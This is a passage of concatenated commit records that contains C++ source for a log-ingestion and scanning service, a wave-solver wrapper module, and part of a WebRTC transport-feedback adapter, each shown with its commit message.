Vector<Pair<String, String>>& source_fields,\n InputStream* is) {\n String line;\n\n auto table_name = \"logs.\" + logfile.name();\n auto schema = tsdb_->tableSchema(customer, table_name);\n auto partitioner = tsdb_->tablePartitioner(customer, table_name);\n if (schema.isEmpty() || partitioner.isEmpty()) {\n RAISEF(kNotFoundError, \"table not found: $0\", table_name);\n }\n\n msg::DynamicMessage row_base(schema.get());\n for (const auto& f : source_fields) {\n row_base.addField(f.first, f.second);\n }\n\n RegExp regex(logfile.regex());\n\n HashMap<size_t, LogfileField> match_fields;\n size_t time_idx = -1;\n String time_format;\n for (const auto& f : logfile.row_fields()) {\n auto match_idx = regex.getNamedCaptureIndex(f.name());\n if (match_idx != size_t(-1)) {\n match_fields.emplace(match_idx, f);\n if (f.name() == \"time\") {\n time_idx = match_idx;\n time_format = f.format();\n }\n }\n }\n\n if (time_idx == size_t(-1)) {\n RAISE(kIllegalStateError, \"can't import logfile row without time column\");\n }\n\n for (; is->readLine(&line); line.clear()) {\n Vector<Pair<const char*, size_t>> match;\n if (!regex.match(line, &match)) {\n continue;\n }\n\n Option<UnixTime> time;\n if (time_format.empty()) {\n time = Human::parseTime(\n String(match[time_idx].first, match[time_idx].second));\n } else {\n time = UnixTime::parseString(\n match[time_idx].first,\n match[time_idx].second,\n time_format.c_str());\n }\n\n if (time.isEmpty()) {\n continue;\n }\n\n auto row = row_base;\n row.addField(\"raw\", line);\n\n for (size_t i = 0; i < match.size(); ++i) {\n auto mfield = match_fields.find(i);\n if (mfield == match_fields.end()) {\n continue;\n }\n\n if (mfield->second.has_format() &&\n mfield->second.type() == \"DATETIME\") {\n auto t = UnixTime::parseString(\n match[i].first,\n match[i].second,\n mfield->second.format().c_str());\n\n if (!t.isEmpty()) {\n row.addDateTimeField(mfield->second.id(), t.get());\n }\n continue;\n }\n\n row.addField(\n mfield->second.id(),\n String(match[i].first, match[i].second));\n }\n\n Buffer row_buf;\n msg::MessageEncoder::encode(row.data(), *row.schema(), &row_buf);\n\n auto record_id = Random::singleton()->sha1();\n auto partition_key = partitioner.get()->partitionKeyFor(\n StringUtil::toString(time.get().unixMicros()));\n\n tsdb_->insertRecord(\n customer,\n table_name,\n partition_key,\n record_id,\n row_buf);\n }\n}\n\nOption<LogfileDefinition> LogfileService::findLogfileDefinition(\n const String& customer,\n const String& logfile_name) {\n auto cconf = cdir_->configFor(customer);\n\n for (const auto& logfile : cconf->config.logfile_import_config().logfiles()) {\n if (logfile.name() == logfile_name) {\n return Some(logfile);\n }\n }\n\n return None<LogfileDefinition>();\n}\n\nRefPtr<msg::MessageSchema> LogfileService::getSchema(\n const LogfileDefinition& cfg) {\n Vector<msg::MessageSchemaField> fields;\n\n fields.emplace_back(\n msg::MessageSchemaField(\n 1,\n \"raw\",\n msg::FieldType::STRING,\n 0,\n false,\n true));\n\n for (const auto& field : cfg.source_fields()) {\n fields.emplace_back(\n msg::MessageSchemaField(\n field.id(),\n field.name(),\n msg::fieldTypeFromString(field.type()),\n 0,\n false,\n true));\n }\n\n for (const auto& field : cfg.row_fields()) {\n fields.emplace_back(\n msg::MessageSchemaField(\n field.id(),\n field.name(),\n msg::fieldTypeFromString(field.type()),\n 0,\n false,\n true));\n }\n\n return new msg::MessageSchema(cfg.name(), fields);\n}\n\nVector<TableDefinition> LogfileService::getTableDefinitions(\n const CustomerConfig& cfg) {\n Vector<TableDefinition> tbls;\n\n if (!cfg.has_logfile_import_config()) {\n return tbls;\n }\n\n for (const auto& logfile : cfg.logfile_import_config().logfiles()) {\n TableDefinition td;\n td.set_customer(cfg.customer());\n td.set_table_name(\"logs.\" + logfile.name());\n auto tblcfg = td.mutable_config();\n tblcfg->set_schema(getSchema(logfile)->encode().toString());\n tblcfg->set_partitioner(zbase::TBL_PARTITION_TIMEWINDOW);\n tblcfg->set_storage(zbase::TBL_STORAGE_LOG);\n\n auto partcfg = tblcfg->mutable_time_window_partitioner_config();\n partcfg->set_partition_size(10 * kMicrosPerMinute);\n\n tbls.emplace_back(td);\n }\n\n return tbls;\n}\n\n} \/\/ namespace zbase\n<commit_msg>Revert \"debug\"<commit_after>\/**\n * Copyright (c) 2015 - The CM Authors <legal@clickmatcher.com>\n * All Rights Reserved.\n *\n * This file is CONFIDENTIAL -- Distribution or duplication of this material or\n * the information contained herein is strictly forbidden unless prior written\n * permission is obtained.\n *\/\n#include <unistd.h>\n#include \"zbase\/api\/LogfileService.h\"\n#include \"stx\/RegExp.h\"\n#include \"stx\/human.h\"\n#include \"stx\/protobuf\/msg.h\"\n#include \"stx\/protobuf\/MessageSchema.h\"\n#include \"stx\/protobuf\/MessagePrinter.h\"\n#include \"stx\/protobuf\/MessageEncoder.h\"\n#include \"stx\/protobuf\/DynamicMessage.h\"\n#include \"csql\/qtree\/SelectListNode.h\"\n#include \"csql\/qtree\/ColumnReferenceNode.h\"\n#include \"csql\/CSTableScan.h\"\n#include \"zbase\/core\/TimeWindowPartitioner.h\"\n\nusing namespace stx;\n\nnamespace zbase {\n\nLogfileService::LogfileService(\n ConfigDirectory* cdir,\n AnalyticsAuth* auth,\n zbase::TSDBService* tsdb,\n zbase::PartitionMap* pmap,\n zbase::ReplicationScheme* repl,\n csql::Runtime* sql) :\n cdir_(cdir),\n auth_(auth),\n tsdb_(tsdb),\n pmap_(pmap),\n repl_(repl),\n sql_(sql) {}\n\nvoid LogfileService::scanLogfile(\n const AnalyticsSession& session,\n const String& logfile_name,\n const LogfileScanParams& params,\n LogfileScanResult* result,\n Function<void (bool done)> on_progress) {\n auto logfile_definition = findLogfileDefinition(\n session.customer(), logfile_name);\n if (logfile_definition.isEmpty()) {\n RAISEF(kNotFoundError, \"logfile not found: $0\", logfile_name);\n }\n\n auto table_name = \"logs.\" + logfile_name;\n auto lookback_limit = params.end_time() - 90 * kMicrosPerDay;\n auto partition_size = 10 * kMicrosPerMinute;\n\n result->setColumns(\n Vector<String>(params.columns().begin(), params.columns().end()));\n\n for (auto time = params.end_time();\n time > lookback_limit;\n time -= partition_size) {\n\n auto partition = zbase::TimeWindowPartitioner::partitionKeyFor(\n table_name,\n time,\n partition_size);\n\n if (repl_->hasLocalReplica(partition)) {\n scanLocalLogfilePartition(\n session,\n table_name,\n partition,\n params,\n result);\n } else {\n scanRemoteLogfilePartition(\n session,\n table_name,\n partition,\n params,\n repl_->replicaAddrsFor(partition),\n result);\n }\n\n result->setScannedUntil(time);\n\n bool done = result->isFull();\n on_progress(done);\n\n if (done) {\n break;\n }\n }\n}\n\nvoid LogfileService::scanLocalLogfilePartition(\n const AnalyticsSession& session,\n const String& table_name,\n const SHA1Hash& partition_key,\n const LogfileScanParams& params,\n LogfileScanResult* result) {\n auto partition = pmap_->findPartition(\n session.customer(),\n table_name,\n partition_key);\n\n if (partition.isEmpty()) {\n return;\n }\n\n logDebug(\n \"zbase\",\n \"Scanning local logfile partition $0\/$1\/$2\",\n session.customer(),\n table_name,\n partition_key.toString());\n\n Vector<RefPtr<csql::SelectListNode>> select_list;\n select_list.emplace_back(\n new csql::SelectListNode(\n new csql::ColumnReferenceNode(\"time\")));\n\n if (params.return_raw()) {\n select_list.emplace_back(\n new csql::SelectListNode(\n new csql::ColumnReferenceNode(\"raw\")));\n }\n\n for (const auto& c : params.columns()) {\n select_list.emplace_back(\n new csql::SelectListNode(\n new csql::ColumnReferenceNode(c)));\n }\n\n Option<RefPtr<csql::ValueExpressionNode>> where_cond;\n switch (params.scan_type()) {\n\n case LOGSCAN_SQL: {\n const auto& sql_str = params.condition();\n\n csql::Parser parser;\n parser.parseValueExpression(sql_str.data(), sql_str.size());\n\n auto stmts = parser.getStatements();\n if (stmts.size() != 1) {\n RAISE(\n kParseError,\n \"SQL filter expression must consist of exactly one statement\");\n }\n\n where_cond = Some(\n mkRef(sql_->queryPlanBuilder()->buildValueExpression(stmts[0])));\n\n break;\n }\n\n }\n\n auto seqscan = mkRef(\n new csql::SequentialScanNode(\n table_name,\n select_list,\n where_cond));\n\n auto reader = partition.get()->getReader();\n auto cstable_filename = reader->cstableFilename();\n if (cstable_filename.isEmpty()) {\n return;\n }\n\n csql::CSTableScan cstable_scan(\n seqscan,\n cstable_filename.get(),\n sql_->queryBuilder().get());\n\n csql::ExecutionContext context(sql_->scheduler());\n\n cstable_scan.execute(\n &context,\n [result, ¶ms] (int argc, const csql::SValue* argv) -> bool {\n int colidx = 0;\n\n auto time = UnixTime(argv[colidx++].getInteger());\n if (time >= params.end_time()) {\n return true;\n }\n\n auto line = result->addLine(time);\n if (!line) {\n return true;\n }\n\n if (params.return_raw()) {\n line->raw = argv[colidx++].toString();\n }\n\n for (; colidx < argc; ++colidx) {\n line->columns.emplace_back(argv[colidx].toString());\n }\n\n return true;\n });\n\n result->incrRowsScanned(cstable_scan.rowsScanned());\n}\n\nvoid LogfileService::scanRemoteLogfilePartition(\n const AnalyticsSession& session,\n const String& table_name,\n const SHA1Hash& partition_key,\n const LogfileScanParams& params,\n const Vector<InetAddr>& hosts,\n LogfileScanResult* result) {\n Vector<String> errors;\n\n for (const auto& host : hosts) {\n try {\n if(scanRemoteLogfilePartition(\n session,\n table_name,\n partition_key,\n params,\n host,\n result)) {\n return;\n }\n } catch (const StandardException& e) {\n logError(\n \"zbase\",\n e,\n \"LogfileService::scanRemoteLogfilePartition failed\");\n\n errors.emplace_back(e.what());\n }\n }\n\n if (!errors.empty()) {\n RAISEF(\n kRuntimeError,\n \"LogfileService::scanRemoteLogfilePartition failed: $0\",\n StringUtil::join(errors, \", \"));\n }\n}\n\nbool LogfileService::scanRemoteLogfilePartition(\n const AnalyticsSession& session,\n const String& table_name,\n const SHA1Hash& partition_key,\n const LogfileScanParams& params,\n const InetAddr& host,\n LogfileScanResult* result) {\n logDebug(\n \"zbase\",\n \"Scanning remote logfile partition $0\/$1\/$2 on $3\",\n session.customer(),\n table_name,\n partition_key.toString(),\n host.hostAndPort());\n\n auto url = StringUtil::format(\n \"http:\/\/$0\/api\/v1\/logfiles\/scan_partition?table=$1&partition=$2&limit=$3\",\n host.hostAndPort(),\n URI::urlEncode(table_name),\n partition_key.toString(),\n result->capacity());\n\n auto api_token = auth_->encodeAuthToken(session);\n\n http::HTTPMessage::HeaderList auth_headers;\n auth_headers.emplace_back(\n \"Authorization\",\n StringUtil::format(\"Token $0\", api_token));\n\n http::HTTPClient http_client;\n auto req_body = msg::encode(params);\n auto req = http::HTTPRequest::mkPost(url, *req_body, auth_headers);\n auto res = http_client.executeRequest(req);\n\n if (res.statusCode() == 404) {\n return false;\n }\n\n if (res.statusCode() != 200) {\n RAISEF(\n kRuntimeError,\n \"received non-200 response: $0\", res.body().toString());\n }\n\n auto body_is = BufferInputStream::fromBuffer(&res.body());\n result->decode(body_is.get());\n\n return true;\n}\n\nvoid LogfileService::insertLoglines(\n const String& customer,\n const String& logfile_name,\n const Vector<Pair<String, String>>& source_fields,\n InputStream* is) {\n auto logfile_definition = findLogfileDefinition(customer, logfile_name);\n if (logfile_definition.isEmpty()) {\n RAISEF(kNotFoundError, \"logfile not found: $0\", logfile_name);\n }\n\n insertLoglines(\n customer,\n logfile_definition.get(),\n source_fields,\n is);\n}\n\nvoid LogfileService::insertLoglines(\n const String& customer,\n const LogfileDefinition& logfile,\n const Vector<Pair<String, String>>& source_fields,\n InputStream* is) {\n String line;\n\n auto table_name = \"logs.\" + logfile.name();\n auto schema = tsdb_->tableSchema(customer, table_name);\n auto partitioner = tsdb_->tablePartitioner(customer, table_name);\n if (schema.isEmpty() || partitioner.isEmpty()) {\n RAISEF(kNotFoundError, \"table not found: $0\", table_name);\n }\n\n msg::DynamicMessage row_base(schema.get());\n for (const auto& f : source_fields) {\n row_base.addField(f.first, f.second);\n }\n\n RegExp regex(logfile.regex());\n\n HashMap<size_t, LogfileField> match_fields;\n size_t time_idx = -1;\n String time_format;\n for (const auto& f : logfile.row_fields()) {\n auto match_idx = regex.getNamedCaptureIndex(f.name());\n if (match_idx != size_t(-1)) {\n match_fields.emplace(match_idx, f);\n if (f.name() == \"time\") {\n time_idx = match_idx;\n time_format = f.format();\n }\n }\n }\n\n if (time_idx == size_t(-1)) {\n RAISE(kIllegalStateError, \"can't import logfile row without time column\");\n }\n\n for (; is->readLine(&line); line.clear()) {\n Vector<Pair<const char*, size_t>> match;\n if (!regex.match(line, &match)) {\n continue;\n }\n\n Option<UnixTime> time;\n if (time_format.empty()) {\n time = Human::parseTime(\n String(match[time_idx].first, match[time_idx].second));\n } else {\n time = UnixTime::parseString(\n match[time_idx].first,\n match[time_idx].second,\n time_format.c_str());\n }\n\n if (time.isEmpty()) {\n continue;\n }\n\n auto row = row_base;\n row.addField(\"raw\", line);\n\n for (size_t i = 0; i < match.size(); ++i) {\n auto mfield = match_fields.find(i);\n if (mfield == match_fields.end()) {\n continue;\n }\n\n if (mfield->second.has_format() &&\n mfield->second.type() == \"DATETIME\") {\n auto t = UnixTime::parseString(\n match[i].first,\n match[i].second,\n mfield->second.format().c_str());\n\n if (!t.isEmpty()) {\n row.addDateTimeField(mfield->second.id(), t.get());\n }\n continue;\n }\n\n row.addField(\n mfield->second.id(),\n String(match[i].first, match[i].second));\n }\n\n Buffer row_buf;\n msg::MessageEncoder::encode(row.data(), *row.schema(), &row_buf);\n\n auto record_id = Random::singleton()->sha1();\n auto partition_key = partitioner.get()->partitionKeyFor(\n StringUtil::toString(time.get().unixMicros()));\n\n tsdb_->insertRecord(\n customer,\n table_name,\n partition_key,\n record_id,\n row_buf);\n }\n}\n\nOption<LogfileDefinition> LogfileService::findLogfileDefinition(\n const String& customer,\n const String& logfile_name) {\n auto cconf = cdir_->configFor(customer);\n\n for (const auto& logfile : cconf->config.logfile_import_config().logfiles()) {\n if (logfile.name() == logfile_name) {\n return Some(logfile);\n }\n }\n\n return None<LogfileDefinition>();\n}\n\nRefPtr<msg::MessageSchema> LogfileService::getSchema(\n const LogfileDefinition& cfg) {\n Vector<msg::MessageSchemaField> fields;\n\n fields.emplace_back(\n msg::MessageSchemaField(\n 1,\n \"raw\",\n msg::FieldType::STRING,\n 0,\n false,\n true));\n\n for (const auto& field : cfg.source_fields()) {\n fields.emplace_back(\n msg::MessageSchemaField(\n field.id(),\n field.name(),\n msg::fieldTypeFromString(field.type()),\n 0,\n false,\n true));\n }\n\n for (const auto& field : cfg.row_fields()) {\n fields.emplace_back(\n msg::MessageSchemaField(\n field.id(),\n field.name(),\n msg::fieldTypeFromString(field.type()),\n 0,\n false,\n true));\n }\n\n return new msg::MessageSchema(cfg.name(), fields);\n}\n\nVector<TableDefinition> LogfileService::getTableDefinitions(\n const CustomerConfig& cfg) {\n Vector<TableDefinition> tbls;\n\n if (!cfg.has_logfile_import_config()) {\n return tbls;\n }\n\n for (const auto& logfile : cfg.logfile_import_config().logfiles()) {\n TableDefinition td;\n td.set_customer(cfg.customer());\n td.set_table_name(\"logs.\" + logfile.name());\n auto tblcfg = td.mutable_config();\n tblcfg->set_schema(getSchema(logfile)->encode().toString());\n tblcfg->set_partitioner(zbase::TBL_PARTITION_TIMEWINDOW);\n tblcfg->set_storage(zbase::TBL_STORAGE_LOG);\n\n auto partcfg = tblcfg->mutable_time_window_partitioner_config();\n partcfg->set_partition_size(10 * kMicrosPerMinute);\n\n tbls.emplace_back(td);\n }\n\n return tbls;\n}\n\n} \/\/ namespace zbase\n<|endoftext|>"} {"text":"<commit_before>#include \"SolverModule.h\"\n\nusing namespace std;\n\n\/**\n *\tConstructor for SolverModule.\n *\n *\tThe solver module holds a WaveSolver object and contains all the accessor methods related to it.\n *\tThe Solvermodule starts off being stored online in the DatabaseRef singleton class, but is passed\n *\tto other controller classes as needed.\n*\/\nSolverModule::SolverModule()\n\t: mSolver(WaveSolver<double>(X, Y))\n{\n}\n\n\/**\n *\tGetSolver()\n *\t\n * Gets the WaveSolver\n *\n *\tReturns a shared pointer to the current WaveSolver\n*\/\nshared_ptr<WaveSolver<double>> SolverModule::GetSolver() const\n{\n\treturn shared_ptr<WaveSolver<double>>();\n}\n\n\/**\n *\tAddRectangle(const int x, const int y, const int width, const int height, const double vel)\n *\t\tx:\t\tThe x coordinate of the top left corner of the rectangle to be added\n *\t\ty:\t\tThe y coordinate of the top left corner of the rectangle to be added\n *\t\twidth:\tThe width of the rectangle to be added\n *\t\theight:\tThe height of the rectangle to be added\n *\t\tvel:\tThe amount of influence the shape will have over its area, 1 having no effect and 0 completely\n *\t\t\t\tblocking all movement\n *\n *\tAddes a rectangle to the current WaveSovler\n*\/\nconst void SolverModule::AddRectangle(const int x, const int y, const int width, const int height, const double vel)\n{\n\tmSolver.addRectangle(x - 1, y - 1, x + width - 1, y + height - 1, vel);\n}\n\n\n\/**\n *\tAddCircle(const int x, const int y, const int radius, const int vel)\n *\t\tx:\t\tThe x coordinate of the center of the circle to be added\n *\t\ty:\t\tThe y coordinate of the center of the rectangle to be added\n *\t\tradius:\tThe radius of the circle to be added\n *\t\tvel:\tThe amount of influence the shape will have over its area, 1 having no effect and 0 completely\n *\t\t\t\tblocking all movement\n *\n *\tAddes a rectangle to the current WaveSovler\n*\/\nconst void SolverModule::AddCircle(const int x, const int y, const int radius, const double vel)\n{\n\tmSolver.addCircle(x - 1, y - 1, radius, vel);\n}\n\n\/**\n *\tResetMaterials()\n *\n *\tRemoves all the shapes from the current WaveSolver but leaves the current simulation running\n*\/\nconst void SolverModule::ResetMaterials()\n{\n\tmSolver.resetMaterials();\n}\n\n\/**\n *\tResetField()\n *\n *\tSets the field back to the initial poisitoin but leaves all shapes\n*\/\nconst void SolverModule::ResetField()\n{\n\tmSolver.resetField();\n}\n\n\/**\n *\tGetField()\n *\n *\tReturns a raw pointer to field of the current WaveSolver\n*\/\nWaveSolver<double>* SolverModule::GetField()\n{\n\treturn &mSolver;\n}\n<commit_msg>Tweaked adding circle<commit_after>#include \"SolverModule.h\"\n\nusing namespace std;\n\n\/**\n *\tConstructor for SolverModule.\n *\n *\tThe solver module holds a WaveSolver object and contains all the accessor methods related to it.\n *\tThe Solvermodule starts off being stored online in the DatabaseRef singleton class, but is passed\n *\tto other controller classes as needed.\n*\/\nSolverModule::SolverModule()\n\t: mSolver(WaveSolver<double>(X, Y))\n{\n}\n\n\/**\n *\tGetSolver()\n *\t\n * Gets the WaveSolver\n *\n *\tReturns a shared pointer to the current WaveSolver\n*\/\nshared_ptr<WaveSolver<double>> SolverModule::GetSolver() const\n{\n\treturn shared_ptr<WaveSolver<double>>();\n}\n\n\/**\n *\tAddRectangle(const int x, const int y, const int width, const int height, const double vel)\n *\t\tx:\t\tThe x coordinate of the top left corner of the rectangle to be added\n *\t\ty:\t\tThe y coordinate of the top left corner of the rectangle to be added\n *\t\twidth:\tThe width of the rectangle to be added\n *\t\theight:\tThe height of the rectangle to be added\n *\t\tvel:\tThe amount of influence the shape will have over its area, 1 having no effect and 0 completely\n *\t\t\t\tblocking all movement\n *\n *\tAddes a rectangle to the current WaveSovler\n*\/\nconst void SolverModule::AddRectangle(const int x, const int y, const int width, const int height, const double vel)\n{\n\tmSolver.addRectangle(x - 1, y - 1, x + width - 1, y + height - 1, vel);\n}\n\n\n\/**\n *\tAddCircle(const int x, const int y, const int radius, const int vel)\n *\t\tx:\t\tThe x coordinate of the center of the circle to be added\n *\t\ty:\t\tThe y coordinate of the center of the rectangle to be added\n *\t\tradius:\tThe radius of the circle to be added\n *\t\tvel:\tThe amount of influence the shape will have over its area, 1 having no effect and 0 completely\n *\t\t\t\tblocking all movement\n *\n *\tAddes a rectangle to the current WaveSovler\n*\/\nconst void SolverModule::AddCircle(const int x, const int y, const int radius, const double vel)\n{\n\tmSolver.addCircle(x, y, radius - 1, vel);\n}\n\n\/**\n *\tResetMaterials()\n *\n *\tRemoves all the shapes from the current WaveSolver but leaves the current simulation running\n*\/\nconst void SolverModule::ResetMaterials()\n{\n\tmSolver.resetMaterials();\n}\n\n\/**\n *\tResetField()\n *\n *\tSets the field back to the initial poisitoin but leaves all shapes\n*\/\nconst void SolverModule::ResetField()\n{\n\tmSolver.resetField();\n}\n\n\/**\n *\tGetField()\n *\n *\tReturns a raw pointer to field of the current WaveSolver\n*\/\nWaveSolver<double>* SolverModule::GetField()\n{\n\treturn &mSolver;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2015 The WebRTC project authors. All Rights Reserved.\n *\n * Use of this source code is governed by a BSD-style license\n * that can be found in the LICENSE file in the root of the source\n * tree. An additional intellectual property rights grant can be found\n * in the file PATENTS. All contributing project authors may\n * be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include \"modules\/congestion_controller\/rtp\/transport_feedback_adapter.h\"\n\n#include <algorithm>\n\n#include \"modules\/rtp_rtcp\/include\/rtp_rtcp_defines.h\"\n#include \"modules\/rtp_rtcp\/source\/rtcp_packet\/transport_feedback.h\"\n#include \"rtc_base\/checks.h\"\n#include \"rtc_base\/logging.h\"\n#include \"rtc_base\/numerics\/mod_ops.h\"\n\nnamespace webrtc {\nnamespace {\nvoid SortPacketFeedbackVector(std::vector<webrtc::PacketFeedback>* input) {\n std::sort(input->begin(), input->end(), PacketFeedbackComparator());\n}\n\nPacketResult NetworkPacketFeedbackFromRtpPacketFeedback(\n const webrtc::PacketFeedback& pf) {\n PacketResult feedback;\n if (pf.arrival_time_ms == webrtc::PacketFeedback::kNotReceived)\n feedback.receive_time = Timestamp::PlusInfinity();\n else\n feedback.receive_time = Timestamp::ms(pf.arrival_time_ms);\n if (pf.send_time_ms != webrtc::PacketFeedback::kNoSendTime) {\n feedback.sent_packet = SentPacket();\n feedback.sent_packet->sequence_number = pf.long_sequence_number;\n feedback.sent_packet->send_time = Timestamp::ms(pf.send_time_ms);\n feedback.sent_packet->size = DataSize::bytes(pf.payload_size);\n feedback.sent_packet->pacing_info = pf.pacing_info;\n }\n return feedback;\n}\n\nstd::vector<PacketResult> PacketResultsFromRtpFeedbackVector(\n const std::vector<PacketFeedback>& feedback_vector) {\n RTC_DCHECK(std::is_sorted(feedback_vector.begin(), feedback_vector.end(),\n PacketFeedbackComparator()));\n\n std::vector<PacketResult> packet_feedbacks;\n packet_feedbacks.reserve(feedback_vector.size());\n for (const PacketFeedback& rtp_feedback : feedback_vector) {\n auto feedback = NetworkPacketFeedbackFromRtpPacketFeedback(rtp_feedback);\n packet_feedbacks.push_back(feedback);\n }\n return packet_feedbacks;\n}\n} \/\/ namespace\nconst int64_t kNoTimestamp = -1;\nconst int64_t kSendTimeHistoryWindowMs = 60000;\nconst int64_t kBaseTimestampScaleFactor =\n rtcp::TransportFeedback::kDeltaScaleFactor * (1 << 8);\nconst int64_t kBaseTimestampRangeSizeUs = kBaseTimestampScaleFactor * (1 << 24);\n\nTransportFeedbackAdapter::TransportFeedbackAdapter(const Clock* clock)\n : send_time_history_(clock, kSendTimeHistoryWindowMs),\n clock_(clock),\n current_offset_ms_(kNoTimestamp),\n last_timestamp_us_(kNoTimestamp),\n local_net_id_(0),\n remote_net_id_(0) {}\n\nTransportFeedbackAdapter::~TransportFeedbackAdapter() {\n RTC_DCHECK(observers_.empty());\n}\n\nvoid TransportFeedbackAdapter::RegisterPacketFeedbackObserver(\n PacketFeedbackObserver* observer) {\n rtc::CritScope cs(&observers_lock_);\n RTC_DCHECK(observer);\n RTC_DCHECK(std::find(observers_.begin(), observers_.end(), observer) ==\n observers_.end());\n observers_.push_back(observer);\n}\n\nvoid TransportFeedbackAdapter::DeRegisterPacketFeedbackObserver(\n PacketFeedbackObserver* observer) {\n rtc::CritScope cs(&observers_lock_);\n RTC_DCHECK(observer);\n const auto it = std::find(observers_.begin(), observers_.end(), observer);\n RTC_DCHECK(it != observers_.end());\n observers_.erase(it);\n}\n\nvoid TransportFeedbackAdapter::AddPacket(uint32_t ssrc,\n uint16_t sequence_number,\n size_t length,\n const PacedPacketInfo& pacing_info) {\n {\n rtc::CritScope cs(&lock_);\n const int64_t creation_time_ms = clock_->TimeInMilliseconds();\n send_time_history_.AddAndRemoveOld(\n PacketFeedback(creation_time_ms, sequence_number, length, local_net_id_,\n remote_net_id_, pacing_info));\n }\n\n {\n rtc::CritScope cs(&observers_lock_);\n for (auto* observer : observers_) {\n observer->OnPacketAdded(ssrc, sequence_number);\n }\n }\n}\n\nabsl::optional<SentPacket> TransportFeedbackAdapter::ProcessSentPacket(\n const rtc::SentPacket& sent_packet) {\n rtc::CritScope cs(&lock_);\n \/\/ TODO(srte): Only use one way to indicate that packet feedback is used.\n if (sent_packet.info.included_in_feedback || sent_packet.packet_id != -1) {\n send_time_history_.OnSentPacket(sent_packet.packet_id,\n sent_packet.send_time_ms);\n absl::optional<PacketFeedback> packet =\n send_time_history_.GetPacket(sent_packet.packet_id);\n if (packet) {\n SentPacket msg;\n msg.size = DataSize::bytes(packet->payload_size);\n msg.send_time = Timestamp::ms(packet->send_time_ms);\n msg.sequence_number = packet->long_sequence_number;\n msg.prior_unacked_data = DataSize::bytes(packet->unacknowledged_data);\n msg.data_in_flight =\n send_time_history_.GetOutstandingData(local_net_id_, remote_net_id_);\n return msg;\n }\n } else if (sent_packet.info.included_in_allocation) {\n send_time_history_.AddUntracked(sent_packet.info.packet_size_bytes,\n sent_packet.send_time_ms);\n }\n return absl::nullopt;\n}\n\nabsl::optional<TransportPacketsFeedback>\nTransportFeedbackAdapter::ProcessTransportFeedback(\n const rtcp::TransportFeedback& feedback) {\n int64_t feedback_time_ms = clock_->TimeInMilliseconds();\n DataSize prior_in_flight = GetOutstandingData();\n OnTransportFeedback(feedback);\n std::vector<PacketFeedback> feedback_vector = last_packet_feedback_vector_;\n if (feedback_vector.empty())\n return absl::nullopt;\n\n SortPacketFeedbackVector(&feedback_vector);\n TransportPacketsFeedback msg;\n msg.packet_feedbacks = PacketResultsFromRtpFeedbackVector(feedback_vector);\n msg.feedback_time = Timestamp::ms(feedback_time_ms);\n msg.prior_in_flight = prior_in_flight;\n msg.data_in_flight = GetOutstandingData();\n return msg;\n}\n\nvoid TransportFeedbackAdapter::SetNetworkIds(uint16_t local_id,\n uint16_t remote_id) {\n rtc::CritScope cs(&lock_);\n local_net_id_ = local_id;\n remote_net_id_ = remote_id;\n}\n\nDataSize TransportFeedbackAdapter::GetOutstandingData() const {\n rtc::CritScope cs(&lock_);\n return send_time_history_.GetOutstandingData(local_net_id_, remote_net_id_);\n}\n\nstd::vector<PacketFeedback> TransportFeedbackAdapter::GetPacketFeedbackVector(\n const rtcp::TransportFeedback& feedback) {\n int64_t timestamp_us = feedback.GetBaseTimeUs();\n int64_t now_ms = clock_->TimeInMilliseconds();\n \/\/ Add timestamp deltas to a local time base selected on first packet arrival.\n \/\/ This won't be the true time base, but makes it easier to manually inspect\n \/\/ time stamps.\n if (last_timestamp_us_ == kNoTimestamp) {\n current_offset_ms_ = now_ms;\n } else {\n int64_t delta = timestamp_us - last_timestamp_us_;\n\n \/\/ Detect and compensate for wrap-arounds in base time.\n if (std::abs(delta - kBaseTimestampRangeSizeUs) < std::abs(delta)) {\n delta -= kBaseTimestampRangeSizeUs; \/\/ Wrap backwards.\n } else if (std::abs(delta + kBaseTimestampRangeSizeUs) < std::abs(delta)) {\n delta += kBaseTimestampRangeSizeUs; \/\/ Wrap forwards.\n }\n\n current_offset_ms_ += delta \/ 1000;\n }\n last_timestamp_us_ = timestamp_us;\n\n std::vector<PacketFeedback> packet_feedback_vector;\n if (feedback.GetPacketStatusCount() == 0) {\n RTC_LOG(LS_INFO) << \"Empty transport feedback packet received.\";\n return packet_feedback_vector;\n }\n packet_feedback_vector.reserve(feedback.GetPacketStatusCount());\n {\n rtc::CritScope cs(&lock_);\n size_t failed_lookups = 0;\n int64_t offset_us = 0;\n int64_t timestamp_ms = 0;\n uint16_t seq_num = feedback.GetBaseSequence();\n for (const auto& packet : feedback.GetReceivedPackets()) {\n \/\/ Insert into the vector those unreceived packets which precede this\n \/\/ iteration's received packet.\n for (; seq_num != packet.sequence_number(); ++seq_num) {\n PacketFeedback packet_feedback(PacketFeedback::kNotReceived, seq_num);\n \/\/ Note: Element not removed from history because it might be reported\n \/\/ as received by another feedback.\n if (!send_time_history_.GetFeedback(&packet_feedback, false))\n ++failed_lookups;\n if (packet_feedback.local_net_id == local_net_id_ &&\n packet_feedback.remote_net_id == remote_net_id_) {\n packet_feedback_vector.push_back(packet_feedback);\n }\n }\n\n \/\/ Handle this iteration's received packet.\n offset_us += packet.delta_us();\n timestamp_ms = current_offset_ms_ + (offset_us \/ 1000);\n PacketFeedback packet_feedback(timestamp_ms, packet.sequence_number());\n if (!send_time_history_.GetFeedback(&packet_feedback, true))\n ++failed_lookups;\n if (packet_feedback.local_net_id == local_net_id_ &&\n packet_feedback.remote_net_id == remote_net_id_) {\n packet_feedback_vector.push_back(packet_feedback);\n }\n\n ++seq_num;\n }\n\n if (failed_lookups > 0) {\n RTC_LOG(LS_WARNING) << \"Failed to lookup send time for \" << failed_lookups\n << \" packet\" << (failed_lookups > 1 ? \"s\" : \"\")\n << \". Send time history too small?\";\n }\n }\n return packet_feedback_vector;\n}\n\nvoid TransportFeedbackAdapter::OnTransportFeedback(\n const rtcp::TransportFeedback& feedback) {\n last_packet_feedback_vector_ = GetPacketFeedbackVector(feedback);\n {\n rtc::CritScope cs(&observers_lock_);\n for (auto* observer : observers_) {\n observer->OnPacketFeedbackVector(last_packet_feedback_vector_);\n }\n }\n}\n\nstd::vector<PacketFeedback>\nTransportFeedbackAdapter::GetTransportFeedbackVector() const {\n return last_packet_feedback_vector_;\n}\n} \/\/ namespace webrtc\n<commit_msg>Routing unacknowledged data in TransportFeedbackAdapter.<commit_after>\/*\n * Copyright (c) 2015 The WebRTC project authors. All Rights Reserved.\n *\n * Use of this source code is governed by a BSD-style license\n * that can be found in the LICENSE file in the root of the source\n * tree. An additional intellectual property rights grant can be found\n * in 